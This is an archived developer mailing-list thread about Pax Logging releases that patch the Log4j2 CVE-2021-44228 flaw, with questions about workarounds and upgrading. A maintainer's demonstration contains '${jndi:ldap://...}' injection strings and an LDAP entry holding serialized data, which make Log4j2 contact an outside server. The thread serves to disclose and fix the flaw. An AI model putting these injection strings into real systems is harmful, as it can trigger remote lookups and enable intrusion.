>>> if the system property log4j.formatMsgNoLookup will fix the issue for our
>>> application. Anyone knows ?
>>>
>>> Kind regards,
>>> Steven
>>>
>>> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <ecki@zusammenkunft.net
>>>
>>> wrote:
>>>
>>>> I am currently working on a description for a work around (specifying
>> the
>>>> system property) but I can’t get it to work.
>>>>
>>>> It still expands ${java:version}. I checked that it shows with
>>>> “system:property log4j.formatMsgNoLookup” true and there seems to be no
>>>> %m{lookup} setting.
>>>>
>>>> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
>>>> version newer than 2.10).
>>>>
>>>> Any idea?
>>>>
>>>> Is it possible that the shaded pax-logging-log4j does not honor the
>>> system
>>>> property of log4j?
>>>>
>>>>
>>>> --
>>>> https://bernd.eckenfels.net
>>>> ________________________________
>>>> From: Grzegorz Grzybek <gr...@gmail.com>
>>>> Sent: Friday, December 10, 2021 1:43:00 PM
>>>> To: dev@karaf.apache.org <de...@karaf.apache.org>
>>>> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
>>> released
>>>>
>>>> Hello
>>>>
>>>> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes
>> it
>>>> in
>>>> details.
>>>>
>>>> I was a bit surprised too - I knew about e.g., `${java:version}` if you
>>>> used it in pattern layout configuration - I didn't expect Log4j2 to
>>>> interpolate the messages passed to log() methods as well!
>>>>
>>>> But you can try (in Karaf):
>>>>
>>>> karaf@root()> log:log 'xxx ${java:version} xxx'
>>>>
>>>> And you'll see (in the logs):
>>>>
>>>> 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
>>>> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
>>> xxx
>>>> Java version 1.8.0_312 xxx
>>>>
>>>> so a message has been interpolated.
>>>>
>>>> What's worse, I could add an entry to my OpenLDAP with:
>>>>
>>>> javaClassName: java.lang.String
>>>> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
>>>>
>>>> And then:
>>>>
>>>> karaf@root()> log:log '${jndi:ldap://
>>> 10.39.192.99/cn=boom,dc=k8s,dc=forest
>>>> }'
>>>>
>>>> gave me this in logs:
>>>>
>>>> 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
>>>> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
>>>> <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
>>>> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
>>>> http://localhost/attack
>>>>
>>>> "http://localhost/attack" is the deserialized value from
>>>> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
>>>>
>>>> While you can't use "javaCodeBase" LDAP attribute to point to malicius
>>> URL
>>>> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
>>>> property that defaults to "false" since 2009), you still have a remote
>>>> request being performed when logging messages with ${jndi:ldap://
>>>> example.com
>>>> }.
>>>>
>>>> regards
>>>> Grzegorz Grzybek
>>>>
>>>> pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
>>>> napisał(a):
>>>>
>>>>> Hello Grzegorz,
>>>>>
>>>>> Thanks a lot for the super quick reaction.
>>>>>
>>>>> I was rather confused to see that log messages can trigger a JNDI
>>> lookup
>>>>> anyway. Do you think there should be hardened something here?
>>>>>
>>>>> Do you know if that is triggered by malicious log config or by
>>> malicious
>>>>> log messages and does it only affect systems where the JMSAppender is
>>>>> actually used?
>>>>>
>>>>> Gruss
>>>>> Bernd
>>>>>
>>>>>
>>>>> --
>>>>> http://bernd.eckenfels.net
>>>>> ________________________________
>>>>> Von: Grzegorz Grzybek <gr...@gmail.com>
>>>>> Gesendet: Friday, December 10, 2021 12:20:02 PM
>>>>> An: ops4j-announcement@googlegroups.com <
>>>>> ops4j-announcement@googlegroups.com>; Karaf Dev <
>> dev@karaf.apache.org
>>>> ;
>>>>> dev@felix.apache.org <de...@felix.apache.org>
>>>>> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
>> released
>>>>>
>>>>> Hello
>>>>>
>>>>> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
>>>> fix.
>>>>>
>>>>> *Log4j2 has been updated to version 2.15.0.*
>>>>>
>>>>> The changelog is available at GitHub:
>>>>> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>>>>>
>>>>> kind regards
>>>>> Grzegorz Grzybek
>>>>>
>>>>
>>>
>>
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Steven Huypens <st...@gmail.com>.
Hi Grzegorz,
Thanks, that's clear now.
Another question: what is the simplest way of upgrading pax logging to
2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
dependencies and add the 2.0.11 ones to my features.xml, or is there a
better option ?
Kind regards,
Steven
On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek <gr...@gmail.com>
wrote:
> Hello
>
> The multiple export trick/hack/improvement/convenience is to make it easier
> to upgrade pax logging itself without affecting the OSGi users.
> Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
> library it uses (private-packages + re-exports), but it also declares that
> the exports match earlier versions.
> So if your application has:
>
> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
>
> Just because it was built by maven-bundle-plugin that for some reasons used
> more strict version range policy, the multiple versions exported by Pax
> Logging bundles won't break your application.
> It's a way of telling - if you're using our API at given version, we
> provide compatible interfaces. But the underlying implementation is (for
> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
>
> regards
> Grzegorz Grzybek
>
> pon., 13 gru 2021 o 11:42 Steven Huypens <st...@gmail.com>
> napisał(a):
>
> > Hi all,
> >
> > We are using pax logging 2.0.9, but I can see it exports log4j2 packages
> > for different versions: 2.9.1, 2.13.3 & 2.14.1
> >
> > Since one of those versions is not higher than 2.10, it's not clear to me
> > if the system property log4j.formatMsgNoLookup will fix the issue for our
> > application. Anyone knows ?
> >
> > Kind regards,
> > Steven
> >
> > On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <ecki@zusammenkunft.net
> >
> > wrote:
> >
> > > I am currently working on a description for a work around (specifying
> the
> > > system property) but I can’t get it to work.
> > >
> > > It still expands ${java:version}. I checked that it shows with
> > > “system:property log4j.formatMsgNoLookup” true and there seems to be no
> > > %m{lookup} setting.
> > >
> > > I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> > > version newer than 2.10).
> > >
> > > Any idea?
> > >
> > > Is it possible that the shaded pax-logging-log4j does not honor the
> > system
> > > property of log4j?
> > >
> > >
> > > --
> > > https://bernd.eckenfels.net
> > > ________________________________
> > > From: Grzegorz Grzybek <gr...@gmail.com>
> > > Sent: Friday, December 10, 2021 1:43:00 PM
> > > To: dev@karaf.apache.org <de...@karaf.apache.org>
> > > Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> > released
> > >
> > > Hello
> > >
> > > Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes
> it
> > > in
> > > details.
> > >
> > > I was a bit surprised too - I knew about e.g., `${java:version}` if you
> > > used it in pattern layout configuration - I didn't expect Log4j2 to
> > > interpolate the messages passed to log() methods as well!
> > >
> > > But you can try (in Karaf):
> > >
> > > karaf@root()> log:log 'xxx ${java:version} xxx'
> > >
> > > And you'll see (in the logs):
> > >
> > > 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> > > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > xxx
> > > Java version 1.8.0_312 xxx
> > >
> > > so a message has been interpolated.
> > >
> > > What's worse, I could add an entry to my OpenLDAP with:
> > >
> > > javaClassName: java.lang.String
> > > javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> > >
> > > And then:
> > >
> > > karaf@root()> log:log '${jndi:ldap://
> > 10.39.192.99/cn=boom,dc=k8s,dc=forest
> > > }'
> > >
> > > gave me this in logs:
> > >
> > > 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> > > 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> > > <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> > > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > > http://localhost/attack
> > >
> > > "http://localhost/attack" is the deserialized value from
> > > "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> > >
> > > While you can't use "javaCodeBase" LDAP attribute to point to malicius
> > URL
> > > code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> > > property that defaults to "false" since 2009), you still have a remote
> > > request being performed when logging messages with ${jndi:ldap://
> > > example.com
> > > }.
> > >
> > > regards
> > > Grzegorz Grzybek
> > >
> > > pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
> > > napisał(a):
> > >
> > > > Hello Grzegorz,
> > > >
> > > > Thanks a lot for the super quick reaction.
> > > >
> > > > I was rather confused to see that log messages can trigger a JNDI
> > lookup
> > > > anyway. Do you think there should be hardened something here?
> > > >
> > > > Do you know if that is triggered by malicious log config or by
> > malicious
> > > > log messages and does it only affect systems where the JMSAppender is
> > > > actually used?
> > > >
> > > > Gruss
> > > > Bernd
> > > >
> > > >
> > > > --
> > > > http://bernd.eckenfels.net
> > > > ________________________________
> > > > Von: Grzegorz Grzybek <gr...@gmail.com>
> > > > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > > > An: ops4j-announcement@googlegroups.com <
> > > > ops4j-announcement@googlegroups.com>; Karaf Dev <
> dev@karaf.apache.org
> > >;
> > > > dev@felix.apache.org <de...@felix.apache.org>
> > > > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> released
> > > >
> > > > Hello
> > > >
> > > > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> > > fix.
> > > >
> > > > *Log4j2 has been updated to version 2.15.0.*
> > > >
> > > > The changelog is available at GitHub:
> > > > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> > > >
> > > > kind regards
> > > > Grzegorz Grzybek
> > > >
> > >
> >
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
The multiple export trick/hack/improvement/convenience is to make it easier
to upgrade pax logging itself without affecting the OSGi users.
Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
library it uses (private-packages + re-exports), but it also declares that
the exports match earlier versions.
So if your application has:
Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
Just because it was built by maven-bundle-plugin that for some reasons used
more strict version range policy, the multiple versions exported by Pax
Logging bundles won't break your application.
It's a way of telling - if you're using our API at given version, we
provide compatible interfaces. But the underlying implementation is (for
pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
regards
Grzegorz Grzybek
pon., 13 gru 2021 o 11:42 Steven Huypens <st...@gmail.com>
napisał(a):
> Hi all,
>
> We are using pax logging 2.0.9, but I can see it exports log4j2 packages
> for different versions: 2.9.1, 2.13.3 & 2.14.1
>
> Since one of those versions is not higher than 2.10, it's not clear to me
> if the system property log4j.formatMsgNoLookup will fix the issue for our
> application. Anyone knows ?
>
> Kind regards,
> Steven
>
> On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <ec...@zusammenkunft.net>
> wrote:
>
> > I am currently working on a description for a work around (specifying the
> > system property) but I can’t get it to work.
> >
> > It still expands ${java:version}. I checked that it shows with
> > “system:property log4j.formatMsgNoLookup” true and there seems to be no
> > %m{lookup} setting.
> >
> > I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> > version newer than 2.10).
> >
> > Any idea?
> >
> > Is it possible that the shaded pax-logging-log4j does not honor the
> system
> > property of log4j?
> >
> >
> > --
> > https://bernd.eckenfels.net
> > ________________________________
> > From: Grzegorz Grzybek <gr...@gmail.com>
> > Sent: Friday, December 10, 2021 1:43:00 PM
> > To: dev@karaf.apache.org <de...@karaf.apache.org>
> > Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> released
> >
> > Hello
> >
> > Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it
> > in
> > details.
> >
> > I was a bit surprised too - I knew about e.g., `${java:version}` if you
> > used it in pattern layout configuration - I didn't expect Log4j2 to
> > interpolate the messages passed to log() methods as well!
> >
> > But you can try (in Karaf):
> >
> > karaf@root()> log:log 'xxx ${java:version} xxx'
> >
> > And you'll see (in the logs):
> >
> > 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> xxx
> > Java version 1.8.0_312 xxx
> >
> > so a message has been interpolated.
> >
> > What's worse, I could add an entry to my OpenLDAP with:
> >
> > javaClassName: java.lang.String
> > javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> >
> > And then:
> >
> > karaf@root()> log:log '${jndi:ldap://
> 10.39.192.99/cn=boom,dc=k8s,dc=forest
> > }'
> >
> > gave me this in logs:
> >
> > 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> > 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> > <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > http://localhost/attack
> >
> > "http://localhost/attack" is the deserialized value from
> > "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> >
> > While you can't use "javaCodeBase" LDAP attribute to point to malicius
> URL
> > code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> > property that defaults to "false" since 2009), you still have a remote
> > request being performed when logging messages with ${jndi:ldap://
> > example.com
> > }.
> >
> > regards
> > Grzegorz Grzybek
> >
> > pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
> > napisał(a):
> >
> > > Hello Grzegorz,
> > >
> > > Thanks a lot for the super quick reaction.
> > >
> > > I was rather confused to see that log messages can trigger a JNDI
> lookup
> > > anyway. Do you think there should be hardened something here?
> > >
> > > Do you know if that is triggered by malicious log config or by
> malicious
> > > log messages and does it only affect systems where the JMSAppender is
> > > actually used?
> > >
> > > Gruss
> > > Bernd
> > >
> > >
> > > --
> > > http://bernd.eckenfels.net
> > > ________________________________
> > > Von: Grzegorz Grzybek <gr...@gmail.com>
> > > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > > An: ops4j-announcement@googlegroups.com <
> > > ops4j-announcement@googlegroups.com>; Karaf Dev <dev@karaf.apache.org
> >;
> > > dev@felix.apache.org <de...@felix.apache.org>
> > > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
> > >
> > > Hello
> > >
> > > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> > fix.
> > >
> > > *Log4j2 has been updated to version 2.15.0.*
> > >
> > > The changelog is available at GitHub:
> > > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> > >
> > > kind regards
> > > Grzegorz Grzybek
> > >
> >
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Steven Huypens <st...@gmail.com>.
Hi all,
We are using pax logging 2.0.9, but I can see it exports log4j2 packages
for different versions: 2.9.1, 2.13.3 & 2.14.1
Since one of those versions is not higher than 2.10, it's not clear to me
if the system property log4j.formatMsgNoLookup will fix the issue for our
application. Anyone knows ?
Kind regards,
Steven
On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <ec...@zusammenkunft.net>
wrote:
> I am currently working on a description for a work around (specifying the
> system property) but I can’t get it to work.
>
> It still expands ${java:version}. I checked that it shows with
> “system:property log4j.formatMsgNoLookup” true and there seems to be no
> %m{lookup} setting.
>
> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> version newer than 2.10).
>
> Any idea?
>
> Is it possible that the shaded pax-logging-log4j does not honor the system
> property of log4j?
>
>
> --
> https://bernd.eckenfels.net
> ________________________________
> From: Grzegorz Grzybek <gr...@gmail.com>
> Sent: Friday, December 10, 2021 1:43:00 PM
> To: dev@karaf.apache.org <de...@karaf.apache.org>
> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it
> in
> details.
>
> I was a bit surprised too - I knew about e.g., `${java:version}` if you
> used it in pattern layout configuration - I didn't expect Log4j2 to
> interpolate the messages passed to log() methods as well!
>
> But you can try (in Karaf):
>
> karaf@root()> log:log 'xxx ${java:version} xxx'
>
> And you'll see (in the logs):
>
> 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
> Java version 1.8.0_312 xxx
>
> so a message has been interpolated.
>
> What's worse, I could add an entry to my OpenLDAP with:
>
> javaClassName: java.lang.String
> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
>
> And then:
>
> karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest
> }'
>
> gave me this in logs:
>
> 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> http://localhost/attack
>
> "http://localhost/attack" is the deserialized value from
> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
>
> While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> property that defaults to "false" since 2009), you still have a remote
> request being performed when logging messages with ${jndi:ldap://
> example.com
> }.
>
> regards
> Grzegorz Grzybek
>
> pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
> napisał(a):
>
> > Hello Grzegorz,
> >
> > Thanks a lot for the super quick reaction.
> >
> > I was rather confused to see that log messages can trigger a JNDI lookup
> > anyway. Do you think there should be hardened something here?
> >
> > Do you know if that is triggered by malicious log config or by malicious
> > log messages and does it only affect systems where the JMSAppender is
> > actually used?
> >
> > Gruss
> > Bernd
> >
> >
> > --
> > http://bernd.eckenfels.net
> > ________________________________
> > Von: Grzegorz Grzybek <gr...@gmail.com>
> > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > An: ops4j-announcement@googlegroups.com <
> > ops4j-announcement@googlegroups.com>; Karaf Dev <de...@karaf.apache.org>;
> > dev@felix.apache.org <de...@felix.apache.org>
> > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
> >
> > Hello
> >
> > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> fix.
> >
> > *Log4j2 has been updated to version 2.15.0.*
> >
> > The changelog is available at GitHub:
> > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> >
> > kind regards
> > Grzegorz Grzybek
> >
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Bernd Eckenfels <ec...@zusammenkunft.net>.
I am currently working on a description for a work around (specifying the system property) but I can’t get it to work.
It still expands ${java:version}. I checked that it shows with “system:property log4j.formatMsgNoLookup” true and there seems to be no %m{lookup} setting.
I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a version newer than 2.10).
Any idea?
Is it possible that the shaded pax-logging-log4j does not honor the system property of log4j?
--
https://bernd.eckenfels.net
________________________________
From: Grzegorz Grzybek <gr...@gmail.com>
Sent: Friday, December 10, 2021 1:43:00 PM
To: dev@karaf.apache.org <de...@karaf.apache.org>
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello
Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in
details.
I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!
But you can try (in Karaf):
karaf@root()> log:log 'xxx ${java:version} xxx'
And you'll see (in the logs):
2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
Java version 1.8.0_312 xxx
so a message has been interpolated.
What's worse, I could add an entry to my OpenLDAP with:
javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
And then:
karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}'
gave me this in logs:
2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack
"http://localhost/attack" is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://example.com
}.
regards
Grzegorz Grzybek
pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
napisał(a):
> Hello Grzegorz,
>
> Thanks a lot for the super quick reaction.
>
> I was rather confused to see that log messages can trigger a JNDI lookup
> anyway. Do you think there should be hardened something here?
>
> Do you know if that is triggered by malicious log config or by malicious
> log messages and does it only affect systems where the JMSAppender is
> actually used?
>
> Gruss
> Bernd
>
>
> --
> http://bernd.eckenfels.net
> ________________________________
> Von: Grzegorz Grzybek <gr...@gmail.com>
> Gesendet: Friday, December 10, 2021 12:20:02 PM
> An: ops4j-announcement@googlegroups.com <
> ops4j-announcement@googlegroups.com>; Karaf Dev <de...@karaf.apache.org>;
> dev@felix.apache.org <de...@felix.apache.org>
> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
>
> *Log4j2 has been updated to version 2.15.0.*
>
> The changelog is available at GitHub:
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>
> kind regards
> Grzegorz Grzybek
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in
details.
I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!
But you can try (in Karaf):
karaf@root()> log:log 'xxx ${java:version} xxx'
And you'll see (in the logs):
2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
Java version 1.8.0_312 xxx
so a message has been interpolated.
What's worse, I could add an entry to my OpenLDAP with:
javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
And then:
karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}'
gave me this in logs:
2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack
"http://localhost/attack" is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://example.com
}.
regards
Grzegorz Grzybek
pt., 10 gru 2021 o 13:28 Bernd Eckenfels <ec...@zusammenkunft.net>
napisał(a):
> Hello Grzegorz,
>
> Thanks a lot for the super quick reaction.
>
> I was rather confused to see that log messages can trigger a JNDI lookup
> anyway. Do you think there should be hardened something here?
>
> Do you know if that is triggered by malicious log config or by malicious
> log messages and does it only affect systems where the JMSAppender is
> actually used?
>
> Gruss
> Bernd
>
>
> --
> http://bernd.eckenfels.net
> ________________________________
> Von: Grzegorz Grzybek <gr...@gmail.com>
> Gesendet: Friday, December 10, 2021 12:20:02 PM
> An: ops4j-announcement@googlegroups.com <
> ops4j-announcement@googlegroups.com>; Karaf Dev <de...@karaf.apache.org>;
> dev@felix.apache.org <de...@felix.apache.org>
> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
>
> *Log4j2 has been updated to version 2.15.0.*
>
> The changelog is available at GitHub:
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>
> kind regards
> Grzegorz Grzybek
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Bernd Eckenfels <ec...@zusammenkunft.net>.
Hello Grzegorz,
Thanks a lot for the super quick reaction.
I was rather confused to see that log messages can trigger a JNDI lookup anyway. Do you think there should be hardened something here?
Do you know if that is triggered by malicious log config or by malicious log messages and does it only affect systems where the JMSAppender is actually used?
Gruss
Bernd
--
http://bernd.eckenfels.net
________________________________
Von: Grzegorz Grzybek <gr...@gmail.com>
Gesendet: Friday, December 10, 2021 12:20:02 PM
An: ops4j-announcement@googlegroups.com <op...@googlegroups.com>; Karaf Dev <de...@karaf.apache.org>; dev@felix.apache.org <de...@felix.apache.org>
Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello
Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
*Log4j2 has been updated to version 2.15.0.*
The changelog is available at GitHub:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
kind regards
Grzegorz Grzybek
[ANN] Pax Logging 2.0.12 and 1.11.11 released
Posted by Grzegorz Grzybek <gr...@gmail.com>.
Hello
Pax Logging 2.0.12 and 1.11.11 have been released with Log4j2 upgrade.
The Log4j2 version used is 2.16.0, which is a follow-up release related to
recent world-shaking CVE-2021-44228.
Version 2.16.0 polishes some corner cases related to message interpolation
and is NOT a required upgrade for this CVE.
The changelog is available at GitHub:
https://github.com/ops4j/org.ops4j.pax.logging/milestone/74?closed=1
kind regards
Grzegorz Grzybek
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Posted by Steinar Bang <sb...@dod.no>.
>>>>> Grzegorz Grzybek <gr...@gmail.com>:
> Hello
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
> *Log4j2 has been updated to version 2.15.0.*
Great! Thanks!